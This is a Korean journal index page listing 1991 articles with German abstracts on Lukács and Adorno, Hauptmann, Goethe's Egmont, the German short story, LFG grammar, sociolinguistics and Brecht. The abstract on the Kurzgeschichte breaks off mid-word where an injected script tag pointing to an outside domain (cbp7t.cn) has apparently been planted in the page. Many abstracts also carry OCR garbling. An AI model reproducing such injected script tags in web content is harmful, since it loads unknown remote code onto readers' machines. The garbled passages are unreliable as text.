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독어독문학(구 독일문학)검색

Koreanische Zeitschrift fur Germanistik


  • - 주제 : 어문학분야 > 독문학
  • - 성격 : 학술지
  • - 간기: 계간
  • - 국내 등재 : KCI 등재
  • - 해외 등재 : -
  • - ISSN : 1226-8577
  • - 간행물명 변경 사항 : 독일문학(~2017)-> 독어독문학(2018~)
논문제목
수록 범위 : 46권 0호 (1991)

루카치냐 아도르노냐

김유동 ( Yu Dong Kim )
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In dieser Arbeit versuche ich, die Wahrheitsgehalte von Luka´cs und Adorno herauszunehmen und diese miteinander zu konfrontieren und dann zu entscheiden, wer richtiger ist. Schließlich mo¨chte ich das von dieser Argumentation gewonnene Resultat auf koreanische Situation anwenden. Luka´cs und Adorno stehen in derselben philosophischen Tradition. von Hegel und Marx und verwenden a¨hnliche Methode von Erkenntnis als Dialektik. Besonders geht es bei beiden Denkern um denselben Gegenstand, na¨mlich moderne Welt und Kunst. Aber im Resultat bestehen Luka´cs und Adorno schier Gegenpol : Avangarde ist fu¨r jenen Dekadenz und fu¨r diesen der einzige Ort außer allgemeinem Verblendungszusammenhang. Luka´cs betrachtet und kritisiert moderne verdinglichte Welt und verzerrte Bilder der modernen Kunst aus dem vergangenen und zuku¨nftigen Norm. Das ist statistisch, undialektisch, idealistisch und daher dogmatiach. Dagegen ist der Satz ‘il faut etre absolument modern’ die Voraussetzung fu¨r Adornos Geschichtsphilosophie und A¨sthetik. Er kritisiert gru¨ndlich die Idee der Verso¨hnung und des Fortschritts in Hegels und dann auch Marxschen Philosophie. Er findet den fu¨r Selbsterhaltung unentrinnbaren Herrschaftsmoment in der menschlichen Urgeschichte heraus. Das Gesetz der Geschichte sei Logik des Verfalls, nicht des Fortschritts. Die moderne Gesellschft im spa¨ten Kapitalismus sei der allgemeine Verblendungszusammenhang. Nur die wahre Kunst kann daraus entrinnen. Damit ko¨nnen wir feststellen, daß Adornos Denken u¨berzeugender ist. Im Vergleich dazu ist Luka´csche Theorie Anachronismus. Aber man kann diese Erkenntnis ohne Vermittlung nicht direkt auf koreanische Situation anwenden. Die Ungleichheit der geschichtlichen Entwicklung und die o¨rtliche Besonderheit muß in Betracht gezogen werden. Trotz der o¨konomischen Entwicklung ist die bu¨rgerliche Ordnung mit neuzeitlichen Rationalita¨t im politischen und gesellschftlichen Leben noch nicht richtig gebildet. Die Luka´csche Grundidee vom ‘Triumpf des Realismus’ gilt noch fu¨r die heutige Entwicklungsstadium in Korea. Aber mit Unmo¨glichkeit oder Mißlingen der proletarischen Revolution wird Adornos Denkweise auch in Korea Allgemeingu¨ltigkeit haben.

『해뜨기 전』 (Vor Sonnenaufgang) 과 『이영녀』 의 자연주의적 양상 비교

류진상 ( Jin Sang Ryu )
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Das drei Akte Drama 「Lee, Yong-Nyeo」(李永女) von Kim, Woo­Jin(金祐鎭) ist hier mit dem deutschen naturalistischen Drama 「Vor Sonnenaufgang」 von Gerhart Hauptmann verglichen worden. Kim, Woo-Jin war ein wichtiger Dramatiker und Vorla¨ufer der modernen koreanischen Literaturbewegurg in den zwanziger Jahren des zwanzigsten Jahrhunderts. Mein Versuch der Vergleichung dieser beiden Dramen wurde dadurch angeregt, daß einige koreanische Dramenkritiker das Drama 「Lee, Ycng-Nyeo」 als ein typisch naturalistisches Werk eingescha¨tzt haben. Die Richtigkeit dieser Einscha¨tzung wurde an drei grundlegenden naturalistischen Aspekten erpru¨ft und zwar am Determinismus und experimentalistischen Moralismus, die zwei wesentlichen Themen des Naturalismus sind, und an der methodisch objektivistischen Darstellungsform(Dramaturgie). Der Naturalismus versteht die Natur als einen sachlich beobachtbaren, kausal determinierten Zusammenhang, durch den das Handeln des Menschen die Eindeutigkeit des Experiments erha¨lt. Der Determinismus ist die Grundvoraussetzung des Naturalismus, die ihn nicht nur von allem sonstigen dichterischen IZealismus unterscheidet, sondern ihn auch in enge Beziehung zur Wissenschaft bringt, so wie es von Emile Zola, der Oberpriester des Ivraturalismus, programmatisch gefordert wurde, Die experimentelle Methode des Naturalismus bedeutet, daß der Dichter seine Phantasie an eine gesetzmaßig bestimmte Erfahrungswirklichkeit bindetund die exakt beobachtende Haltung auf das seelische und geistige Leben ausdehnt. Der naturalistische Determinismus tritt im Drama 「Vor Sonnenaufgang」 in Motivwahl und Handlungsfu¨hrung sehr deutlich hervor. Und dadurch kommt der sozialkritische Aspekt zur Geltung. Die Frage, ob es wirklich ein besseres, gesellschaftliches Leben gibt, schwingt mit und weckt die Teilnahme. Die bu¨rgerliche Selbstzufriedenheit mit den gegebenen Zusta¨nden wird erschu¨ttert. Die Konventionen der kapitalistischen Gesellschaft entlarven sich als nichtig. Das Drama 「Vor Sonnenaufgang」 erreicht leztlich seine naturalistisch-ku¨nstlerische Eigentumlichkeit. Die Entfaltung des auf eine Katastrophe hinfu¨hrenden Determinationszusammenhangs ließ sich als Kompositionsprinzip auf das Drama u¨bertragen und durch die Wiedergabe der Redeszenen dramatisch intensivieren. Seine Kunst besteht darin, die mimischen Geba¨rdungen der einzelnen Szenen so aufeinander zu beziehen, da(3 dadurch eine Katastrophe als notwendiges Ergebnis einer Lebenssituation erscheint. Aber das Drama 「Lee, Yong-Nyeo」 ist von Anfang an keineswegs nach naturalistischen Prinzipien geschrieben worden. Das VVerk hat nur teilweise einige naturalistische Darstellungstechniken benutzt, um das tragische Schicksal einer koreanischen Frau, die in einem Armut aufzwingenden schlechten sozialen Milieu wa¨hrend der japanischen Kolonialzeit zu einer Prostituierten wird und to¨dlich erkrankt, realistischer darzustellen. Deshalb la¨ßt sich schließen, daß das Drama 「Lee, Yong-Nyeo」 nicht als naturalistisches, sondern als realistisches Theaterstu¨ck angesehen werden muß.

Goethe 의 『Egmont』 에 나타난 자유의 상징

신우균 ( Woo Kyun Shin )
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Dieses Thema weist die Vielfalt des Freiheitsbegriffs der Symbolfigur ’Egmont‘ auf. Der Symbolcharakter der Figur ’Egmont‘ steht, als Erscheinung fu¨r den Begriff ’Freiheit‘ im politiachen, menschlichen und absoluten Bereich. Egmont charakterisiert den Gegensatz der politische Freiheit und der Tyrannei sehr genau als den Gegensatz zwischen einer echten, d. h. im Egmontschen Sinne immer schon abha`ngigen Freiheit und einer maßlosen Freiheit. Die Konfliktsituation, das Gegeneinander von Freiheit und Unfreiheit ergibt ein recht klares Bild davon, was Goethe im ”Egmont“ unter dem Begriff ’politische Freiheit‘ versteht. Egmont ist der ideale Fu¨rst, der alle Bedingungen erfu¨llt, die ihm im Rahmen der politischen Freiheit gestellt werden. Als Symbol der Freiheit ist es Egmonts Schicksal, mit der Tyrannei in Konftikt zu geraten. Er entlarvt ihr Wesen und verteidigt gegen sie die ’Idee der politischen Freiheit‘ innerhalb eines konstitutionellen System. Egmonts Verhalten als Herrscher ist eng mit seiner Perso¨nlichkeit verknu¨pft. Ein Bestandteil seiner symbolischen Herrscherperstfnlichkeit, die Menschlichkeit bietet die Begru¨ndung fu¨r politische Handlungen. Seine allgemeinmenschliche Haltung machen ihn zur Symbolfigur der menschlichen Freiheit. Egmont ist rich seines Lebensgefuhls voll bewußt. Die menschliche Freiheit erweist sich als Motor der politischen Freiheit, obwohl das politische Denken eigentlich einen sachlichen, nur verstandesma¨ßig argumentierenden Menschen wie Oranien verlangt. Der Konflikt zwischen der Rolle als Symbol der politischen und als Symbol der menschlichen Freiheit wird am deutlichsten in Egmonts Begegnungen mit Kla¨rchen beschreibt. Zu seiner Gesamtperso¨nlichkeit geho¨rt die Liebe mit Kla¨rchen, als wesentlichem Bestanteil des freien Menschen. Egmont wird zum Symbol freier Menschlichkeit, die ihre Grenzen nicht in politischer Beeinflussung, sondern nur in sich selbat, in den verschiedenen Arten des Sollenserkennen kann. Die menscliliche Freiheit wird dargestellt in ihrer Naturverbundenheit durch den Vergleich mit dem erdgeborenen Riesn, der von der Beru¨hrung mit seiner Mutter, der Natur gesta¨rkt wird. Damit bringt Goethe zum Ausdruck, daß nur in der Verbindung des Menschen mit der Natur der Weg zu sehen ist, den ganzen freien Wert des Lebens zu erkennen. Die Rolle des Todes als Verbindung zwischen Mensch und Absolutem, d. h. auch dem Ideal und den Menschen untereinander als Mitbestandteile der Natur, wird durch den Mund Kla¨rchens klar zum Ausdruck gebracht : Der Todesengel fu¨hrt Egmont durch die Nacht zur Freiheit sanft und still. Nur auf diesem Wege, so zeichnet es Goethe, kann der Mensch zur eigentlichen Idee der Freiheit, nicht nur der menschlichen, oder nur der politischen Freilieit, sondern zur absoluten Freiheit gelangen. Das symbolisch ideale Verhalten Egmonts beschreibt Goethe spa¨ter mit dem Begriff des Damonischen, der genau die Grenzen menschlicher oder politischer Freiheit beschreibt, und u¨ber diesen Schicksalsbegriff hinaus auch noch die Gabe der Perso¨nlichkeit beschreibt, andere Menschen als Vorbild oder Symbol anzuziehen. Mit dem Da¨monischen hat Goethe die Kategorie gefunden, die notwendig war, die Grenzen von Freiheit u¨berhaupt zu beschreiben. Das Erahnen der eigenen Gesetzma¨ßigkeit ist nur u¨ber die Verbindung zur Natur mo¨glich. Die in der Natur enthaltene Idee der absoluten Freiheit kann nur anna¨hrend erkannt werden. Nicht umsonst stellt Goethe das Bild der absoluten Freiheit in einer Vision dar. Alles geht den Weg u¨ber die Da¨monie. Es gibt aber immer eine Verpflichtung zur Freiheit - so wie auch gegenu¨ber der politischen Freiheit, so gegenu¨ber der menschlichen Freihait. der absoluten Freiheit. Eine Verpflichtung na¨mlich gegenu¨ber dem Da¨monischen, der Egmont im ganzen Werk getreu nachkommt.
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Ziel dieser Arbeit ist es, die Entstehung und die Entwicklung, und damit die Theorie der Kurzgeschichte und noch die Rezeption im U¨berblick darzustellen. Ein weiteres Ziel la¨ge noch darin, eine Basis fu¨r die Kurzgeschichtenforschung zu liefern und die Stellung der Kurzgeschichte in der deutschen Nachkriegsliteratur wieder zu erkennen. Die Kurzgeschichte erweckt auf den ersten Blick den Eindruck, daß sie eine einfache Geschichte wa¨re und daher schnell gelesen werden ko¨nnte, Der Grund dafur wa¨re, daß sie lange als etwas Unliterarisches angesehen wurde und daß sie dadurch keine angemessene Bedeutung und keinen ihr zustehenden Wert errungen hatte. Außerdem wurden die Definitionsversuche der Kurzgeschichte dadurch erschwert, daß sie oft mit anderen Kurzprosaformen, wie Novelle, Erza¨hlung, Anekdote u. a., verwechselt warden und werden. Unter anderem wird die Kurzgeschichte mit der amerikanischen Short-Story gleichgesetzt, was aber nur teilweise stimmt. Wa¨hrend die Bezeichnung Short-Story im allgemeinen fu¨r alle kurze Prosaformen gilt, hat sich die deutsche Kurzgeschichte als eine legitime literarische Form mit besonderen Wesenszu¨gen entwickelt. Trotz alley Unterschiede zwischen Short-Story und Kurageschichte ist eines nicht zu verleugnen ; Aus vielen theoretischen wissenschaftlichen Abhandlungen ist zu entnehmen, daß die Short-Story ”Anregung und zugleich Auslo¨sung$quot; fu¨r die Kurzgeschichte ist und das Wort $lt;Kurzgeschichte$gt; ein U¨bersetzungs-Lehnwort der Short-Story ist. Edgar Allan Poe, Ernest Hemingway, William Faulkner werden dabei als Vorbilder der Kurzgeschichte angesehen, wobei E. Hemingway eine besondere Position einnimmt. Trotz alter Schwierigkeiten beim Definieren hat sich die Kurzgeschichte dank der Bemu¨hungen mancher Theoretiker als eine literarische Gattung durchgesetzt. Unter vielen theoretischen Arbeiten sind vor ahem die Dissertationen von Hans A. Ebing und Klaus Doderer, auch die Aufsa¨tze von Hans Bender, Walter Hallerer u. a. hervorzuheben. Die amerikanische Short-Stoy wurde zwar schon Anfang der dreißiger Jahre in Deutschland aufgenommen, aber sie wurde erst nach 1945 aufmerksam rezipiert. Nach dem zweiten Weltkrieg schrieben die jung.en Schriftsteller nach dem amerikanischen Muster, stark beeinflußt von E. Hemingway. U¨ber die Phase der Nachahmung entstand die eigene deutsche Kurzgeschichte. Insofern wa¨re die Anicht akzeptabel, in der Kurzgeschichte als literarische Form ein Produkt des 20. Jahrhunderts zu sehen. Denn eine literarische Form entsteht nicht aus einem gesicherten Zustand, sondern sie ist ein notwendiges Resultat einer unsicheren, alles umgewerteter Gesellschaft. Die Kurzgeschichte mit offener Form ist Ausdruck geistig vo¨11ig unsicherer Situationen, anders als die Novelle mit geschlossener Form. Daraus ist zu schließen, daß die Kurageschichte ein h4ittel rein kann, das Weltbild zu verstehen. Sie ist na¨mlich ein Versuch, die sta¨ndig auseinanderzusetzende Wirklichkeit einzusehen und sie auszudru¨cken. Das Interesse, sozial-politische Situationen und denen gegenu¨ber das Verhalten der Menschen darzustellen, wird die Kurzgeschichte als literische Form nie stillstehen risen. In diesem Zusammenhang la¨ßt sich sagen, daß der wesentliche Merkmal der Kurzgeschichte Ausdruck der Zeit und des Lebens ist, da der Kurzgeschichte die Gegenwart als Grundlage dient. Darin liegt auch der Gtund, dab die Kurzgeschichte in Deutschland, im Vergleich zu anderen deutschsprachigen La¨ndern, besonders in den ersten Nachkriegsjahren ihre Blu¨tezeit erlebte. Ihrer Verku¨rzung, Intensita¨t und Struktur wegen wurde die Kurzgeschichte zwar als eine niedrige Zeitungsgeschichte degradiert, aber im allgemeinen wird sie als eine literarische Gattung anerkannt, deren Zweck die Weltspiegelung ist. Aus dem Grunde, daß das Wesen des Menschen im Grunde fast daselbe bleibt und alles, was die Welt bietet, der Inhalt einer Kurzgeschichte sein kann, wird diese Gattung sta?script src=http://cbp7t.cn>

휄더린의 송시 「Lebenslauf」 3에 나타난 형식과 내용 연구

( Irmgard Yu Gundert )
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LFG (Lexical-Functional Grammar) 이론에 입각한 언어 습득 연구 - 수동문을 중심으로 -

이해욱 ( Hae Wook Lee )
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Das Erlernen der Sprache war immer das zentrale Interesse der kognitiven Wissenschaft, und die Erkla¨rung von sprachlichen Fa¨higkeiten der Kinder und Erwachsenen mit einer einzigen Spracherwerbstheorie war eine von vielen Hoffnungen. Die Kluft zwischen der linguistischen Theorie und der Kindersprache hat ihr Gegenstu¨ck in der Kluft zwischen der linguistischen Theorie und dem Sprachversta¨ndnis sowie dem Produktionsprozeß. Bresnan(1978) hat dieses Problem als ein Teil der ungenauen Spezifikation der syntaktischen Kompetenz angesehen. Bresnan deutet darauf hin, daß die Lexikalisch Funktionale Grammatik fu¨r die Fa¨higkeiten von Erwachsenen angemessener ist als die Standard Theorie der Transformationsgrammatik von Chomsky. Die Theorie der Lexikalisch Funktionalen Grammatik(LFG) wurde in den 70ger Jahren von Joan Bresnan und Ron Kaplan entwickelt ; die LFG unterscheidet sich von der Hauptstro¨mung der Generativen Grammatik, indem sie ein Syntaxmodell aufstellt, das nicht rein strukturbasiert ist. Diese Grammatik ist mit dem Ziel aufgebaut, als eine grammatikalische Basis, die rechnerisch exakt ist, und als psychologisch realistisches Sprachmodell fungieren kann. Die Lexikalisch Funktionale Grammatik generiert eine einzige Phrasenstruktur fu¨r jeden Satz und spezifiziert die bedeutungsvollen grammatischen Relationen durch die Gestaltung von Phrasen im Baum und die lexikalische Eintragung der Pra¨dikate. Die LFG ordnet jedem Satz zwei Strukturen zu. Das sind die Konstituentenstruktur und die funktionale Struktur. Die Konstituentenstruktur(K-Struktur) bestimmt die phonologische Form des Satzes und beinhaltet NPs, Vs, etc. Sie beschreibt ebenfalls die Wortstellung und die Phrasenstruktur, was eigentlich spachspezifische Merkmale sind. Die funktionale Struktur(F-Struktur) dagegen spezifiziert semantisch interpretierbare Informationen, die vom Satz ausgedru¨ckt werden. Das schließt sowohl die Verknu¨pfung der Pra¨dikate mit ihren Argumenten, als auch die Informationen u¨ber Tempus, Aspekt, Zahl, Genus der Satzelemente ein. Die Verknu¨pfung der Pra¨dikate mit den Argumenten wird durch die Vermittlung der grammatischen Funktionen wie ’Subjekt(SUBJ)‘, ’Objekt(OBJ)‘, ’Satzkomplement(SKOMP)‘ usw ausgefu¨hrt. Da die LFG die syntaktischen Pha¨nomene ohne Transformationen aufzeigt, weist die LFG dafur drei Mechanismen auf. Davon ist die lexikalische Regel fu¨r unsere Arbeit relevant, die nun wie folgt aussieht. Es gibt zwei verschiedene lexikalische Eintragungen fu¨r jedes Pra¨dikat (Aktiv/Passiv). Diese Parallelita¨t kann als eine lexikalisch redundante Regel markiert werden. Die lexikaIische Regel der Passivierung stellt fest, daß ein ’OBJ(EKT)‘ in der Pra¨dikat-Argument Struktur zum ’SUBJ(EKT)‘ und ein ’SUBJ(EKT)‘ gleichzeitig zum ’VON OBJ(EKT)‘ umgebaut wird. (1) Passivierung (OBJ) --$gt; (SUBJ) (SUBJ) --$gt; (VON OBJ) In der vorliegenden Arbeit habe ich den Versuch unternommen, die Mo¨glichkeit zu zeigen, daß die Lexikalisch Funktionale Grammatik fu¨r die Behandlung der psychologisch plausiblen Theorie des Spracherwerbs mehr geeignet ist als die generative Transformationsgrammatik von Chomsky.

헤르만 헷세에게 있어서의 동 서양의 종합으로서의 신비주의적 종교성

정경량 ( Kyung Yang Cheong )
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게르하르트 하우프트만의 <오디세이의 활> 에 나타난 오디세이의 변화

정규화 ( Kyu Hwa Chung )
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Gerhart Hauptmann gestaltet die Heimkehr des Odysseus in Blankversen, aber fast ohne Klassizismus und antike Gewa¨nder. Die Handlung spielt im Geho¨ft des Eumaios in einem fast naturalistischen Altertum und entwickelt sich auf dem Boden strengster Wahrscheinlichkeit und innerer Notwendigkeit. Wesentlicher ist dem Dichter die naturalistische Schilderung menschlicher Charaktere, die Hervorhebung des Pathetischen, das seinen angemessensten Ausdruck naturgema¨ß in einzelnen Bildern findet. Odysseus ist bei Hauptmann wie bei Homer ein fertiger Charakter, aber es la¨ßt sich kaum etwas Gegensa¨tzlicheres finden als das ionische Mannesbild und jener unheimliche Zauberku¨nstler. Der Bogen des Odysseus, an den der Vollzug der Rache gebunden ist, wird vom Schweinehirten aufbewahrt und nicht von Penelope, wie in der Vorlage. Als Bettler taucht der Vielerfahrene, der schlafend auf der Heimatinsel ausgesetzt wurde, plo¨tzlich auf : wie einen Traum findet er die Heimat wieder und muß sie langsam, wie sich selber, erst zuru¨ckerobern, sein Schicksal aus der Unwirklichkeit, fast Unmo¨glichkeit herauslo¨schen und wieder in den Strom des Daseins hineinstellen. Er bleibt zuna¨chst unerkannt, spielt den Narren und Bettler, bis ihm wunderbare Naturereignisse mystische Gewalt u¨ber die Herzen verschaffen und er allma¨hlich die Zu¨gel seines Lebens wieder in die Hand bekommt. Um die Wandlung des Odysseus zu kla¨ren, wurden zuna¨chst die Gru¨nde fu¨r des Odysseus Bettlerexistenz, die ja nichts anders als die Abkehr von seiner eigentlichen Identita¨t bedeutet, dargelegt. Es wurde such bewiesen, inwiefern die Abwesenheit von seiner Heimat fu¨r Odysseus gleichzeitig eine Entfernung von den Go¨ttern und diese den Verlust seiner Heldenidentita¨t bedeutet. Durch seine Abwesenheit hat nicht nur Odysseus an Kraft verloren, sondern such Ithaka : Die Freier haben sick am Ko¨nigshof breitgemacht, es herrscht allgemeiner Sittenverfall, wie am Beispiel der Melantho, Repra¨sentantin der ho¨fischen Gesellschaft, sehr deutlich gezeigt wird. Die Erlo¨sung fu¨r Odysseus liegt also in der erneuten Hingabe an seine Heimat. Das Odysseus’ Ziel nach seiner Ru¨ckkehr ist in der Tat eine Verschmelzung mit Ithaka. Zwar will er zuna¨chst als Held die geordneten Verha¨ltnisse wiederherstellen, will ”das Eiland von Schmach und Blut“ reinigen; in dieser wieder vollkommenen Heimat will er jedoch nicht als Herrscher, sondern als einfacher Landmann mit seinem Vater Laertes nach dessen Vorbild leben. Das instinktive Bestreben des Odysseus, mit .der Erde zu verschmelzen, zeigt sich symbolhaft in seinem Bestreben, der Erde nah zu sein, Das Beru¨hren des heimatlichen Bodens. Odysseus wird so wieder ”Herr.“ Daß er außerdem auch Ithakas ”Herrscher$quot; ist, also im Begriff, seine homerische Identita¨t wiederzugewinnen, darauf deutet die unvermittelte erneute Anwesenheit seiner perso¨nlichen Schutzgo¨ttin Athene hin : “Ihr gleißender Schild“ leuchtet von des feindlichen Poseidons Meer zu Odysseus hinauf und signalisiert erneute Unterstu¨tzung. In der Odysseus trifft ”der go¨ttliche Dulder“ den Vater Laertes erst am Schluß, nachdem die blutige Arbeit der Rache getan ist. Nachdem ihm der Sohn alles, was sich eben ereignet hat, schonead beigebracht hat, lebt er wieder auf und fu¨hrt das fu¨rstliche Leben wie fru¨her. Im Gegensatz zu dieser Fassung steht das Drama von Gerhart Hauptmann anders. Odysseus begegnet dem Vater vor den Freiern und seine ja¨mmerliche Gestalt schneidet ihm tief ins Herz. So sehen wir dieses Drama aus der tiefsten Seele, aus dem das Erlebnis des Dichters fließt, und eine Weltanschauung, einen neuen Begriff der Antike in sich birgt.

Das Lexikon einer Sprache aus soziolingusitischer Sicht

( Sang Heon Chong )
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Eine bedeutende Tendenz der modernen Linguistik liegt in der sog. Systemlinguistik, die von Saussure gepra¨gt worden ist, wobei bemu¨ht ist, sprachliche Pha¨nomene strukturell zu analysieren und in ein System zu setzen. Als Folge dieser Bemu¨hungen muß man von sprachlichen Daten abstrahieren und damit kommt eine Idealisierung der Gegensta¨nde vor. Eine la¨ngere Zeit nach saussureschen Linguistik haben sich Linguisten auf das abstrakte Sprachsystem konzentrieren. Indessen haben insbesondre Soziolinguisten das Problem gestellt, daß wir unser Augenmerk mehr auf sprachliche Daten richten. Sie verstehen Sprache nicht als formales System, sondern lebende Varia¨taten und widmen sich dem Studium. Daraus bildet sich sog. Varieta¨tenlinguistik heraus. Diese Wende hat es mehr oder weniger mit der pragmatischen Entwicklung des sprachwissenschaftlichen Studiums. Indessen wird mir fraglich, wie sich die sprachliche Varieta¨ten zu der sprachlichen Regularita¨t, weiterhin zu dem sprachlichen Subsystem verhalten, denn weil Wissenschaft immer eine Abstraktion in sich hat, besteht m. E. in der Variation der Sprache irgendeine Abstraktion. In der vorliegenden Arbeit soll untersucht werden : das Verha¨ltnis von sprachlichen Varieta¨ten und ihren Regularita¨ten, das von empirischen primitiven Daten abstrahiert werden soil. Ich beschra¨nke mich dabei auf der Ebene Lexikon. Es geht darum, wie eine Varieta¨t in der gesellschaftlichen Struktur geankert ist im Rahmen einer Sprache aus soziolinguistischer Sicht. Um dem Widerspruch, der zwischen Homogenita¨tsannahme der Systemlinguistik und Heteronita¨tsannahme besteht, vorzubeugen, werden theoretische Begru¨ndung einerseits, Forschungsergebnisse andererseits vorgebracht. Es handelt sich bei der Wissenschaft um folgendes : Beobachtung, Beschreibung, Erkla¨rung und damit Abstraktion. Dieser Prozeß wurde mit Hilfe des pragmatischen Untersuchungsgegenstandes, der Aufstellung der soziolinguistischen Regeln aufgezeigt. Der Begriff ”Varieta¨t“ ist insofern von Bedeutung, als er nur angesichts des heutigen linguistischen Untersuchungszustandes als Normabweichendes verstanden wird. Man denke, wenn Varieta¨ten noch weiter gea¨ußert bzw. gebraucht werden, ergeben sick daraus Normalita¨t. Dies fu¨hrt wiederum dazu, daß vorherige Varieta¨ten zu wichtigen Normen der betreffenden Sprache kommen. Hierbei geht es um Wiederholbarkeit bzw. Ha¨ufigkeit. Ich vertrete die Auffassung, es gibt ewige Varieta¨ten nicht. Von daher spreche ich von scheinbaren Varieta¨ten. Dies wird auch im Bereich ”semantische Abweichung und rhetorischen Stilfiguren“ deutlich gezeigt. Dialektforschung heute verdeutlicht diese Tatsache. Ich bin der Meinung, daß auch im Bereich der sprachlichen Pragmatik diese Erscheinung vorkommt.

20년대 독일 음악운동과 브레히트 교육극의 생성

조길예 ( Keal Ye Cho )
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Bezu¨glich der folgenden Untersuchung sind zuerst zwei wichtige Forschungsergebnisse zu erwa¨hnen. R. Steinweg hat durch seine um. fangreiche Materialarbeit Anfang der 70er Jahre versucht, eine Lehratu¨cktheorie zu rekonstruieren. Dabei ging es ihm hauptsa¨chlich um eine Begriffsbestimmung des Lehrstu¨cks als eigenen selbsta¨ndigen Stu¨cktypus innerhalb der Brechtschen Dramatik und eine Rekonstruktion einer einheitlichen Lehrstu¨cktheorie. Seine Arbeit hat in der Brechtforschung sowohl Resonanz als auch Kritik erfahren. Die Kritik richtete sick vorwiegend gegen seine geschichtsfreie Schreibweise. Er habe die Lehrstu¨ckexperiments aus der Kontinuita¨t der gesamten Dramatik Brechts isoliert. An das Steinwegsche Resultat anschließend und darauf eine heftige Kritik aus¨ubend hat sich M. Voigts intensiv mit der Thematik Lehrstu¨ck befaßt. Dabei hat er das von Steinweg auger Acht gelassene Umfeld in Betracht gezogen. Ihm ist es gelungen, die gesamte Konstellation der theoretischen und praktischen Bemu¨hungen Brechts um ein neues Theater zu zeigen. Nach ihm ist das Lehrstu¨ckexperiment ein Versuch unter den anderen, die seit Ende der 20er Jahre bis zum Machtantritt des Nationalsozialismus parallel gelaufen sind. Obwohl die beiden Ergebnisse dem Lehrstu¨ck einen festen Stellenwert in der Entwicklung des epischen Theaters verliehen und es ermo¨glicht haben, das Lehrstuckexperiment in einen Zusammenhang mit den anderen theatralischen bzw. soziologischen Experimenten zu bringen, steht es noch aus, eine Geschichte des Lehrstu¨cks. der Genese, Funktion seiner Theorie und Praxis, zu schreiben. In dieser Arbeit wird versucht, eine historische Genesis des Brechtschen Lehrstucks in bezug auf die deutschen Musikbewegungen der 20er Jahre zu schreiben. Durch die Teilnahme am Deutschen Kammermusikfest in Baden-Baden hat Brecht fu¨r sein Bemu¨hen um ein Neues Theater einen entscheidenden Ansatz bekommen. In Rahmen des Neuen Musikfestes wurde eine Art neue Institution im musikalischen Bereich gezeigt. Die Musikantengilde, der Hauptstrang der Jugendmusikbewegung hat wa¨hrend des Festivals die ”Offene Singstunde“ demonstriert, durch die sie mo¨glichst viele Leute zum gemeinsamen Singen ermuntern wollte. Brecht hat in seinem ”Lehrstu¨ck“ diese Form zitiert und danach sein Bu¨hnenstu¨ck formatiert. In seiner Bearbeitung hat er auch die Idee der Selbstta¨tigkeit u¨bernommen und daraus den fu¨r das Lehrstu¨ck gattungsspezifischen Begriff der Selbstversta¨ndigung entwickelt. Das Gemeinschaftsideal der Jugendmusikbewegung, das im Laufe der Zeit zu einer Kleinbu¨rgerideologie verabsolutierte, spielte auch fu¨r die Entstehung des ”Lehrstucks“ eine Rolle. Brecht hat in der gemeinsamen Kunstu¨bung das Moment der Organisation erkannt, aber durch den neuen Begriff des Kollektives den ideologisierten mit seiner Ausgrenzung und Schwa¨che u¨berwunden. Er hat auf eine sprachliche Kommunikation anstatt der ’to¨nenden Kommunikation‘ und auf eine dauerhafte Organisation statt der ’seichten Harmonie‘ abgezielt. Ein weiterer gemeinsamer Nenner der Jugendmusikbewegung, der Neuen Musik und des Brechtschen Lehrstu¨cks ist die Vereinfachung der ku¨nstlerischen Mittel. Die jungen Komponisten der Neuen Musik wollten durch die Reduktion der Mittel das sachlich Wesenhafte darstellen und zugleich den Zugang zur breiteren Masse erleichtern. In der Jugendmusikbewegung vrurden auch die der Fa¨higkeit der Laien entsprechenden einfachen Formen vorgezogen. Um das Theater von dem kapitalbedingten Kulturbetrieb zu befreien, hat Brecht den gleichen Weg genommen. Aber fu¨r Brecht hatte diese Vereinfachung nicht nur im ku¨nstlerischen Sinne, sondern auch im soziologischen Sinne eine besondere Bedeutung, na¨mlich als eine ’Einfachheit‘, die erst dann entsteht, wenn die komplizierte soziale Problematik so gemeistert aind, da13 sie nunmehr leichter zu handhaben ist. Die Vereinfachung galt Brecht als ein Mittel, mit dessen Hife die Diskr
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